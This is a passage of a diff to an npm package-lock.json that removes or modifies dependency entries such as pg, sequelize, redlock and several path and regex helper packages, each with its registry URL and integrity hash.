++ "integrity": "sha512-xDGvUOQjop7RDgxTQ+o4pOol0/3xSZzawTiPKRrHnQWAy0WjhNs/5HdIDJCrqC4MBynmjXgULc6YfioaxZeFgg==",
+ "requires": {
+- "p-timeout": "^3.1.0"
++ "@otplib/core": "^12.0.1",
++ "@otplib/preset-default": "^12.0.1",
++ "@otplib/preset-v11": "^12.0.1"
+ }
+ },
+ "p-finally": {
+@@ -59597,22 +47974,6 @@
+ "retry": "^0.13.1"
+ }
+ },
+- "p-some": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/p-some/-/p-some-5.0.0.tgz",
+- "integrity": "sha512-Js5XZxo6vHjB9NOYAzWDYAIyyiPvva0DWESAIWIK7uhSpGsyg5FwUPxipU/SOQx5x9EqhOh545d1jo6cVkitig==",
+- "requires": {
+- "aggregate-error": "^3.0.0",
+- "p-cancelable": "^2.0.0"
+- },
+- "dependencies": {
+- "p-cancelable": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-2.1.1.tgz",
+- "integrity": "sha512-BZOr3nRQHOntUjTrH8+Lh54smKHoHyur8We1V8DSMVrl5A2malOOwuJRnKRDjSnkoeBh4at6BwEnb5I7Jl31wg=="
+- }
+- }
+- },
+ "p-throttle": {
+ "version": "4.1.1",
+ "resolved": "https://registry.npmjs.org/p-throttle/-/p-throttle-4.1.1.tgz",
+@@ -59643,11 +48004,6 @@
+ "release-zalgo": "^1.0.0"
+ }
+ },
+- "packet-reader": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/packet-reader/-/packet-reader-1.0.0.tgz",
+- "integrity": "sha512-HAKu/fG3HpHFO0AA8WE8q2g+gBJaZ9MG7fcKk+IJPLTGAD6Psw4443l+9DGRbOIh3/aXr7Phy0TjilYivJo5XQ=="
+- },
+ "param-case": {
+ "version": "3.0.4",
+ "resolved": "https://registry.npmjs.org/param-case/-/param-case-3.0.4.tgz",
+@@ -59680,16 +48036,6 @@
+ "resolved": "https://registry.npmjs.org/parse-duration/-/parse-duration-1.0.2.tgz",
+ "integrity": "sha512-Dg27N6mfok+ow1a2rj/nRjtCfaKrHUZV2SJpEn/s8GaVUSlf4GGRCRP1c13Hj+wfPKVMrFDqLMLITkYKgKxyyg=="
+ },
+- "parse-filepath": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz",
+- "integrity": "sha1-pjISf1Oq89FYdvWHLz/6x2PWyJE=",
+- "requires": {
+- "is-absolute": "^1.0.0",
+- "map-cache": "^0.2.0",
+- "path-root": "^0.1.1"
+- }
+- },
+ "parse-json": {
+ "version": "5.2.0",
+ "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
+@@ -59707,11 +48053,6 @@
+ "resolved": "https://registry.npmjs.org/parse-ms/-/parse-ms-2.1.0.tgz",
+ "integrity": "sha512-kHt7kzLoS9VBZfUsiKjv43mr91ea+U05EyKkEtqp7vNbHxmaVuEqN7XxeEVnGrMtYOAxGrDElSi96K7EgO1zCA=="
+ },
+- "parse-passwd": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz",
+- "integrity": "sha1-bVuTSkVpk7I9N/QKOC1vFmao5cY="
+- },
+ "parse-srcset": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/parse-srcset/-/parse-srcset-1.0.2.tgz",
+@@ -59747,11 +48088,6 @@
+ "tslib": "^2.0.3"
+ }
+ },
+- "pascalcase": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/pascalcase/-/pascalcase-0.1.1.tgz",
+- "integrity": "sha1-s2PlXoAGym/iF4TS2yK9FdeRfxQ="
+- },
+ "passport": {
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/passport/-/passport-0.4.1.tgz",
+@@ -59985,33 +48321,11 @@
+ "integrity": "sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==",
+ "devOptional": true
+ },
+- "path-loader": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/path-loader/-/path-loader-1.0.10.tgz",
+- "integrity": "sha512-CMP0v6S6z8PHeJ6NFVyVJm6WyJjIwFvyz2b0n2/4bKdS/0uZa/9sKUlYZzubrn3zuDRU0zIuEDX9DZYQ2ZI8TA==",
+- "requires": {
+- "native-promise-only": "^0.8.1",
+- "superagent": "^3.8.3"
+- }
+- },
+ "path-parse": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz",
+ "integrity": "sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw=="
+ },
+- "path-root": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/path-root/-/path-root-0.1.1.tgz",
+- "integrity": "sha1-mkpoFMrBwM1zNgqV8yCDyOpHRbc=",
+- "requires": {
+- "path-root-regex": "^0.1.0"
+- }
+- },
+- "path-root-regex": {
+- "version": "0.1.2",
+- "resolved": "https://registry.npmjs.org/path-root-regex/-/path-root-regex-0.1.2.tgz",
+- "integrity": "sha1-v8zcjfWxLcUsi0PsONGNcsBLqW0="
+- },
+ "path-to-regexp": {
+ "version": "0.1.7",
+ "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-0.1.7.tgz",
+@@ -60058,66 +48372,6 @@
+ "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz",
+ "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns="
+ },
+- "pg": {
+- "version": "8.7.1",
+- "resolved": "https://registry.npmjs.org/pg/-/pg-8.7.1.tgz",
+- "integrity": "sha512-7bdYcv7V6U3KAtWjpQJJBww0UEsWuh4yQ/EjNf2HeO/NnvKjpvhEIe/A/TleP6wtmSKnUnghs5A9jUoK6iDdkA==",
+- "requires": {
+- "buffer-writer": "2.0.0",
+- "packet-reader": "1.0.0",
+- "pg-connection-string": "^2.5.0",
+- "pg-pool": "^3.4.1",
+- "pg-protocol": "^1.5.0",
+- "pg-types": "^2.1.0",
+- "pgpass": "1.x"
+- }
+- },
+- "pg-connection-string": {
+- "version": "2.5.0",
+- "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.5.0.tgz",
+- "integrity": "sha512-r5o/V/ORTA6TmUnyWZR9nCj1klXCO2CEKNRlVuJptZe85QuhFayC7WeMic7ndayT5IRIR0S0xFxFi2ousartlQ=="
+- },
+- "pg-copy-streams": {
+- "version": "2.2.2",
+- "resolved": "https://registry.npmjs.org/pg-copy-streams/-/pg-copy-streams-2.2.2.tgz",
+- "integrity": "sha512-mjSqs6hrsRhBojCuY2hxyg48B+3th5ARBjMxBCEisIqBvdRD0g5ETdbts20TzrOfha8ueJQOmQCJCprtczJtGQ=="
+- },
+- "pg-int8": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/pg-int8/-/pg-int8-1.0.1.tgz",
+- "integrity": "sha512-WCtabS6t3c8SkpDBUlb1kjOs7l66xsGdKpIPZsg4wR+B3+u9UAum2odSsF9tnvxg80h4ZxLWMy4pRjOsFIqQpw=="
+- },
+- "pg-pool": {
+- "version": "3.4.1",
+- "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.4.1.tgz",
+- "integrity": "sha512-TVHxR/gf3MeJRvchgNHxsYsTCHQ+4wm3VIHSS19z8NC0+gioEhq1okDY1sm/TYbfoP6JLFx01s0ShvZ3puP/iQ==",
+- "requires": {}
+- },
+- "pg-protocol": {
+- "version": "1.5.0",
+- "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.5.0.tgz",
+- "integrity": "sha512-muRttij7H8TqRNu/DxrAJQITO4Ac7RmX3Klyr/9mJEOBeIpgnF8f9jAfRz5d3XwQZl5qBjF9gLsUtMPJE0vezQ=="
+- },
+- "pg-types": {
+- "version": "2.2.0",
+- "resolved": "https://registry.npmjs.org/pg-types/-/pg-types-2.2.0.tgz",
+- "integrity": "sha512-qTAAlrEsl8s4OiEQY69wDvcMIdQN6wdz5ojQiOy6YRMuynxenON0O5oCpJI6lshc6scgAY8qvJ2On/p+CXY0GA==",
+- "requires": {
+- "pg-int8": "1.0.1",
+- "postgres-array": "~2.0.0",
+- "postgres-bytea": "~1.0.0",
+- "postgres-date": "~1.0.4",
+- "postgres-interval": "^1.1.0"
+- }
+- },
+- "pgpass": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/pgpass/-/pgpass-1.0.5.tgz",
+- "integrity": "sha512-FdW9r/jQZhSeohs1Z3sI1yxFQNFvMcnmfuj4WBMUTxOrAyLMaTcE1aAMBiTlbMNaXvBCQuVi0R7hd8udDSP7ug==",
+- "requires": {
+- "split2": "^4.1.0"
+- }
+- },
+ "picocolors": {
+ "version": "0.2.1",
+ "resolved": "https://registry.npmjs.org/picocolors/-/picocolors-0.2.1.tgz",
+@@ -60296,11 +48550,6 @@
+ }
+ }
+ },
+- "posix-character-classes": {
+- "version": "0.1.1",
+- "resolved": "https://registry.npmjs.org/posix-character-classes/-/posix-character-classes-0.1.1.tgz",
+- "integrity": "sha1-AerA/jta9xoqbAL+q7jB/vfgDqs="
+- },
+ "postcss": {
+ "version": "7.0.39",
+ "resolved": "https://registry.npmjs.org/postcss/-/postcss-7.0.39.tgz",
+@@ -60333,29 +48582,6 @@
+ "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==",
+ "dev": true
+ },
+- "postgres-array": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz",
+- "integrity": "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA=="
+- },
+- "postgres-bytea": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/postgres-bytea/-/postgres-bytea-1.0.0.tgz",
+- "integrity": "sha1-AntTPAqokOJtFy1Hz5zOzFIazTU="
+- },
+- "postgres-date": {
+- "version": "1.0.7",
+- "resolved": "https://registry.npmjs.org/postgres-date/-/postgres-date-1.0.7.tgz",
+- "integrity": "sha512-suDmjLVQg78nMK2UZ454hAG+OAW+HQPZ6n++TNDUX+L0+uUlLywnoxJKDou51Zm+zTCjrCl0Nq6J9C5hP9vK/Q=="
+- },
+- "postgres-interval": {
+- "version": "1.2.0",
+- "resolved": "https://registry.npmjs.org/postgres-interval/-/postgres-interval-1.2.0.tgz",
+- "integrity": "sha512-9ZhXKM/rw350N1ovuWHbGxnGh/SNJ4cnxHiM0rxE4VN41wsg8P8zWn9hv/buK00RP4WvlOyr/RBDiptyxVbkZQ==",
+- "requires": {
+- "xtend": "^4.0.0"
+- }
+- },
+ "pprof": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/pprof/-/pprof-3.2.0.tgz",
+@@ -60526,14 +48752,6 @@
+ }
+ }
+ },
+- "promptly": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/promptly/-/promptly-3.2.0.tgz",
+- "integrity": "sha512-WnR9obtgW+rG4oUV3hSnNGl1pHm3V1H/qD9iJBumGSmVsSC5HpZOLuu8qdMb6yCItGfT7dcRszejr/5P3i9Pug==",
+- "requires": {
+- "read": "^1.0.4"
+- }
+- },
+ "prop-types": {
+ "version": "15.8.1",
+ "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz",
+@@ -60586,12 +48804,6 @@
+ "resolved": "https://registry.npmjs.org/property-expr/-/property-expr-2.0.5.tgz",
+ "integrity": "sha512-IJUkICM5dP5znhCckHSv30Q4b5/JA5enCtkRHYaOVOAocnH/1BQEYTC5NMfT3AVl/iXKdr3aqQbQn9DxyWknwA=="
+ },
+- "proto-list": {
+- "version": "1.2.4",
+- "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz",
+- "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=",
+- "dev": true
+- },
+ "proto3-json-serializer": {
+ "version": "0.1.8",
+ "resolved": "https://registry.npmjs.org/proto3-json-serializer/-/proto3-json-serializer-0.1.8.tgz",
+@@ -60642,11 +48854,6 @@
+ "dev": true,
+ "optional": true
+ },
+- "pseudomap": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/pseudomap/-/pseudomap-1.0.2.tgz",
+- "integrity": "sha1-8FKijacOYYkX7wqKw0wa5aaChrM="
+- },
+ "psl": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz",
+@@ -60965,11 +49172,6 @@
+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+ "devOptional": true
+ },
+- "quick-lru": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-1.1.0.tgz",
+- "integrity": "sha1-Q2CxfGETatOAeDl/8RQW4Ybc+7g="
+- },
+ "ramda": {
+ "version": "0.28.0",
+ "resolved": "https://registry.npmjs.org/ramda/-/ramda-0.28.0.tgz",
+@@ -61000,27 +49202,6 @@
+ }
+ }
+ },
+- "randombytes": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.0.3.tgz",
+- "integrity": "sha1-Z0yZdgkBw8QRJ3GjHlIdw0nMCew="
+- },
+- "randomstring": {
+- "version": "1.2.2",
+- "resolved": "https://registry.npmjs.org/randomstring/-/randomstring-1.2.2.tgz",
+- "integrity": "sha512-9FByiB8guWZLbE+akdQiWE3I1I6w7Vn5El4o4y7o5bWQ6DWPcEOp+aLG7Jezc8BVRKKpgJd2ppRX0jnKu1YCfg==",
+- "requires": {
+- "array-uniq": "1.0.2",
+- "randombytes": "2.0.3"
+- },
+- "dependencies": {
+- "array-uniq": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/array-uniq/-/array-uniq-1.0.2.tgz",
+- "integrity": "sha1-X8w3OSB3VyPP1k1lxkvvU7+eum0="
+- }
+- }
+- },
+ "range-parser": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz",
+@@ -61228,14 +49409,6 @@
+ }
+ }
+ },
+- "read": {
+- "version": "1.0.7",
+- "resolved": "https://registry.npmjs.org/read/-/read-1.0.7.tgz",
+- "integrity": "sha1-s9oZvQUkMal2cdRKQmNK33ELQMQ=",
+- "requires": {
+- "mute-stream": "~0.0.4"
+- }
+- },
+ "readable-stream": {
+ "version": "3.6.0",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+@@ -61263,14 +49436,6 @@
+ "picomatch": "^2.2.1"
+ }
+ },
+- "rechoir": {
+- "version": "0.6.2",
+- "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz",
+- "integrity": "sha1-hSBLVNuoLVdC4oyWdW70OvUOM4Q=",
+- "requires": {
+- "resolve": "^1.1.6"
+- }
+- },
+ "recurly": {
+ "version": "4.12.0",
+ "resolved": "https://registry.npmjs.org/recurly/-/recurly-4.12.0.tgz",
+@@ -61291,12 +49456,6 @@
+ "resolved": "https://registry.npmjs.org/redis-errors/-/redis-errors-1.2.0.tgz",
+ "integrity": "sha1-62LSrbFeTq9GEMBK/hUpOEJQq60="
+ },
+- "redis-mock": {
+- "version": "0.49.0",
+- "resolved": "https://registry.npmjs.org/redis-mock/-/redis-mock-0.49.0.tgz",
+- "integrity": "sha512-FW/cLZvF1PAVN/PYIwXf1vQRoJCyYCwUMtq8BXRwrvb9LNNAT4RKXM02Qlt6qSkC/98hmHlU2EGoQoxVy3E2lA==",
+- "dev": true
+- },
+ "redis-parser": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/redis-parser/-/redis-parser-3.0.0.tgz",
+@@ -61305,14 +49464,6 @@
+ "redis-errors": "^1.0.0"
+ }
+ },
+- "redlock": {
+- "version": "4.2.0",
+- "resolved": "https://registry.npmjs.org/redlock/-/redlock-4.2.0.tgz",
+- "integrity": "sha512-j+oQlG+dOwcetUt2WJWttu4CZVeRzUrcVcISFmEmfyuwCVSJ93rDT7YSgg7H7rnxwoRyk/jU46kycVka5tW7jA==",
+- "requires": {
+- "bluebird": "^3.7.2"
+- }
+- },
+ "reduce": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/reduce/-/reduce-1.0.2.tgz",
+@@ -61470,34 +49621,6 @@
+ "@babel/runtime": "^7.8.4"
+ }
+ },
+- "regex-not": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz",
+- "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==",
+- "requires": {
+- "extend-shallow": "^3.0.2",
+- "safe-regex": "^1.1.0"
+- },
+- "dependencies": {
+- "extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "requires": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- }
+- },
+- "is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "requires": {
+- "is-plain-object": "^2.0.4"
+- }
+- }
+- }
+- },
+ "regexp-clone": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/regexp-clone/-/regexp-clone-1.0.0.tgz",
+@@ -61678,12 +49801,14 @@
+ "repeat-element": {
+ "version": "1.1.4",
+ "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz",
+- "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ=="
++ "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==",
++ "dev": true
+ },
+ "repeat-string": {
+ "version": "1.6.1",
+ "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
+- "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc="
++ "integrity": "sha1-jcrkcOHIirwtYA//Sndihtp15jc=",
++ "dev": true
+ },
+ "replace-ext": {
+ "version": "1.0.1",
+@@ -61873,47 +49998,6 @@
+ "resolve-from": "^5.0.0"
+ }
+ },
+- "resolve-dir": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/resolve-dir/-/resolve-dir-1.0.1.tgz",
+- "integrity": "sha1-eaQGRMNivoLybv/nOcm7U4IEb0M=",
+- "requires": {
+- "expand-tilde": "^2.0.0",
+- "global-modules": "^1.0.0"
+- },
+- "dependencies": {
+- "global-modules": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz",
+- "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==",
+- "requires": {
+- "global-prefix": "^1.0.1",
+- "is-windows": "^1.0.1",
+- "resolve-dir": "^1.0.0"
+- }
+- },
+- "global-prefix": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz",
+- "integrity": "sha1-2/dDxsFJklk8ZVVoy2btMsASLr4=",
+- "requires": {
+- "expand-tilde": "^2.0.2",
+- "homedir-polyfill": "^1.0.1",
+- "ini": "^1.3.4",
+- "is-windows": "^1.0.1",
+- "which": "^1.2.14"
+- }
+- },
+- "which": {
+- "version": "1.3.1",
+- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz",
+- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==",
+- "requires": {
+- "isexe": "^2.0.0"
+- }
+- }
+- }
+- },
+ "resolve-from": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz",
+@@ -61929,19 +50013,6 @@
+ "value-or-function": "^3.0.0"
+ }
+ },
+- "resolve-url": {
+- "version": "0.2.1",
+- "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
+- "integrity": "sha1-LGN/53yJOv0qZj/iGqkIAGjiBSo="
+- },
+- "responselike": {
+- "version": "1.0.2",
+- "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz",
+- "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=",
+- "requires": {
+- "lowercase-keys": "^1.0.0"
+- }
+- },
+ "restore-cursor": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-3.1.0.tgz",
+@@ -61952,24 +50023,11 @@
+ "signal-exit": "^3.0.2"
+ }
+ },
+- "ret": {
+- "version": "0.1.15",
+- "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz",
+- "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg=="
+- },
+ "retry": {
+ "version": "0.13.1",
+ "resolved": "https://registry.npmjs.org/retry/-/retry-0.13.1.tgz",
+ "integrity": "sha512-XQBQ3I8W1Cge0Seh+6gjj03LbmRFWuoszgK9ooCpwYIrhhoO80pfq4cUkU5DkknwfOfFteRwlZ56PYOGYyFWdg=="
+ },
+- "retry-as-promised": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/retry-as-promised/-/retry-as-promised-3.2.0.tgz",
+- "integrity": "sha512-CybGs60B7oYU/qSQ6kuaFmRd9sTZ6oXSc0toqePvV74Ac6/IFZSI1ReFQmtCN+uvW1Mtqdwpvt/LGOiCBAY2Mg==",
+- "requires": {
+- "any-promise": "^1.3.0"
+- }
+- },
+ "retry-request": {
+ "version": "4.2.2",
+ "resolved": "https://registry.npmjs.org/retry-request/-/retry-request-4.2.2.tgz",
+@@ -62061,14 +50119,6 @@
+ "integrity": "sha512-gH8eh2nZudPQO6TytOvbxnuhYBOvDBBLW52tz5q6X58lJcd/tkmqFR+5Z9adS8aJtURSXWThWy/xJtJwixErvg==",
+ "optional": true
+ },
+- "safe-regex": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz",
+- "integrity": "sha1-QKNmnzsHfR6UPURinhV91IAjvy4=",
+- "requires": {
+- "ret": "~0.1.10"
+- }
+- },
+ "safer-buffer": {
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
+@@ -62378,227 +50428,6 @@
+ }
+ }
+ },
+- "sequelize": {
+- "version": "5.22.5",
+- "resolved": "https://registry.npmjs.org/sequelize/-/sequelize-5.22.5.tgz",
+- "integrity": "sha512-ySIHof18sJbeVG4zjEvsDL490cd9S14/IhkCrZR/g0C/FPlZq1AzEJVeSAo++9/sgJH2eERltAIGqYQNgVqX/A==",
+- "requires": {
+- "bluebird": "^3.5.0",
+- "cls-bluebird": "^2.1.0",
+- "debug": "^4.1.1",
+- "dottie": "^2.0.0",
+- "inflection": "1.12.0",
+- "lodash": "^4.17.15",
+- "moment": "^2.24.0",
+- "moment-timezone": "^0.5.21",
+- "retry-as-promised": "^3.2.0",
+- "semver": "^6.3.0",
+- "sequelize-pool": "^2.3.0",
+- "toposort-class": "^1.0.1",
+- "uuid": "^8.3.2",
+- "validator": "^13.7.0",
+- "wkx": "^0.4.8"
+- },
+- "dependencies": {
+- "uuid": {
+- "version": "8.3.2",
+- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="
+- }
+- }
+- },
+- "sequelize-cli": {
+- "version": "5.5.1",
+- "resolved": "https://registry.npmjs.org/sequelize-cli/-/sequelize-cli-5.5.1.tgz",
+- "integrity": "sha512-ZM4kUZvY3y14y+Rq3cYxGH7YDJz11jWHcN2p2x7rhAIemouu4CEXr5ebw30lzTBtyXV4j2kTO+nUjZOqzG7k+Q==",
+- "dev": true,
+- "requires": {
+- "bluebird": "^3.5.3",
+- "cli-color": "^1.4.0",
+- "fs-extra": "^7.0.1",
+- "js-beautify": "^1.8.8",
+- "lodash": "^4.17.5",
+- "resolve": "^1.5.0",
+- "umzug": "^2.1.0",
+- "yargs": "^13.1.0"
+- },
+- "dependencies": {
+- "ansi-regex": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.0.tgz",
+- "integrity": "sha512-1apePfXM1UOSqw0o9IiFAovVz9M5S1Dg+4TrDwfMewQ6p/rmMueb7tWZjQ1rx4Loy1ArBggoqGpfqqdI4rondg==",
+- "dev": true
+- },
+- "camelcase": {
+- "version": "5.3.1",
+- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+- "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
+- "dev": true
+- },
+- "cliui": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/cliui/-/cliui-5.0.0.tgz",
+- "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==",
+- "dev": true,
+- "requires": {
+- "string-width": "^3.1.0",
+- "strip-ansi": "^5.2.0",
+- "wrap-ansi": "^5.1.0"
+- }
+- },
+- "emoji-regex": {
+- "version": "7.0.3",
+- "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-7.0.3.tgz",
+- "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==",
+- "dev": true
+- },
+- "find-up": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
+- "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+- "dev": true,
+- "requires": {
+- "locate-path": "^3.0.0"
+- }
+- },
+- "fs-extra": {
+- "version": "7.0.1",
+- "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-7.0.1.tgz",
+- "integrity": "sha512-YJDaCJZEnBmcbw13fvdAM9AwNOJwOzrE4pqMqBq5nFiEqXUqHwlK4B+3pUw6JNvfSPtX05xFHtYy/1ni01eGCw==",
+- "dev": true,
+- "requires": {
+- "graceful-fs": "^4.1.2",
+- "jsonfile": "^4.0.0",
+- "universalify": "^0.1.0"
+- }
+- },
+- "is-fullwidth-code-point": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
+- "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=",
+- "dev": true
+- },
+- "jsonfile": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+- "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=",
+- "dev": true,
+- "requires": {
+- "graceful-fs": "^4.1.6"
+- }
+- },
+- "locate-path": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
+- "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+- "dev": true,
+- "requires": {
+- "p-locate": "^3.0.0",
+- "path-exists": "^3.0.0"
+- }
+- },
+- "p-limit": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
+- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+- "dev": true,
+- "requires": {
+- "p-try": "^2.0.0"
+- }
+- },
+- "p-locate": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
